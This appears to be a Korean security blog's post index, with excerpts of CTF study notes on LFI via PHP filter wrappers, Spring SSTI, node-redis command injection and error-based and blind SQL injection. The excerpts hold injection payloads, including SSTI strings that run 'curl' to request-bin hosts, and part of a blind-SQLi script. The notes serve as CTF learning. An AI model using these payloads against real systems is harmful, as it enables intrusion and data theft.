본문 바로가기

전체 글

(156)
mysql 외래키 cascade설정 삭제 후 추가하기 mysql> select * from information_schema.table_constraints where table_name='테이블명'; 으로 키id확인 보통 테이블명_ibfk_1,이나 테이블명_ibk_1 이다. mysql> alter table 테이블명 drop foreign key 테이블명_ibfk_1; 으로 삭제 mysql> alter table 테이블명 add constraint 테이블명_ibfk_1 foreign key(테이블명에서 쓰는 외래키 이름) references db명.테이블명에서 쓰는 외래키 테이블(외래키 이름) on delete cascade on update cascade;
db 설계 보호되어 있는 글입니다.
WACon2022-Kuncɛlan 공부 blackbox challenge 라고한다.들어가면 로그인창이 나오고 guest/guest로 로그인하면 뭔가 SSRF을 이용해 풀어야 할것같은 창이 나온다. 입력해보면 로컬인 127.0.0.1에서만 동작하는 기능이다. blackbox상태에서 필터링을 우회하는건 힘들기에 다른 방법을 찾아봐야한다. php wrapper를 이용한 LFI가 있었다./index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/index PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXNzaW9uX3N0YXJ0KCk7CgppZighaXNzZXQoJF9TRVNTSU9OWyd1c2VybmFtZSddKSkgewogICA..
Spring 삽질 __${1111+2222}__::.x__${'abccc'.toUPPERCASE()}__::.x__${getRuntime().exec(curl 'https://ckgmkdp.request.dreamhack.games')}__::.x__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x__${(1).Class.forName('ja'+'va.lang.Runt'+'ime').getRuntime().exec('curl https://xltlspf.request.dreamhack.games')}__::.x[_${(1).TYPE.forName('ja'+'va.lang.Runt'+'ime')...}__], template might not exist or might not ..
SSTI 문서 https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/README.md GitHub - carlospolop/hacktricks: Welcome to the page where you will find each trick/technique/whatever I have learnt in CTFs, reWelcome to the page where you will find each trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news. - GitHub - ca..
node-redis Bug case command의 첫번째 인자에 array 타입이 올 경우 기존 방식과는 다르게 처리 되는것을 이용// String Typekey, value, callback => Command(command, [key, value], callback) // Array Type[key, value] => Command(command, key, value)redis_client.send_command(log_query[0], log_query[1], function(err, result)예시로 다음처럼 log_query를 get으로 받아 command를 실행시켜주는 함수가 있다. callback함수까지 있는 형식이지만여기에 다음처럼 array형태로 줄경우 callback함수는 무시된다. ?log_query[0]=set&l..
mysql error based injection 잘 되어 있는 곳 https://johyungen.tistory.com/408 MySQL Error(Double Query, XML 내장함수) SQLi (rand(), floor(), limit, offset, ifnull, extractvalue(), updatexml())소스코드 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 johyungen.tistory.com extractvalue와 같은 xml 내장함수의 경우 에러 출력시 32글자 제한이 있기에 substr과 같은 함수로 출력되는값을 잘 나누어 값을 얻어낸다.admin' and extractvalue(1,concat(0x3a,substr((select up..
한글 blind sqlinjection from email import headerfrom requests import get, headhost = "input your host"password_length = 0headers={"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8)"}while True: password_length += 1 query = f"admin' and char_length(upw) = {password_length}-- -" r = get(f"{host}/?uid={query}",headers=headers) if "exists" in r.text: breakprint(f"password length: ..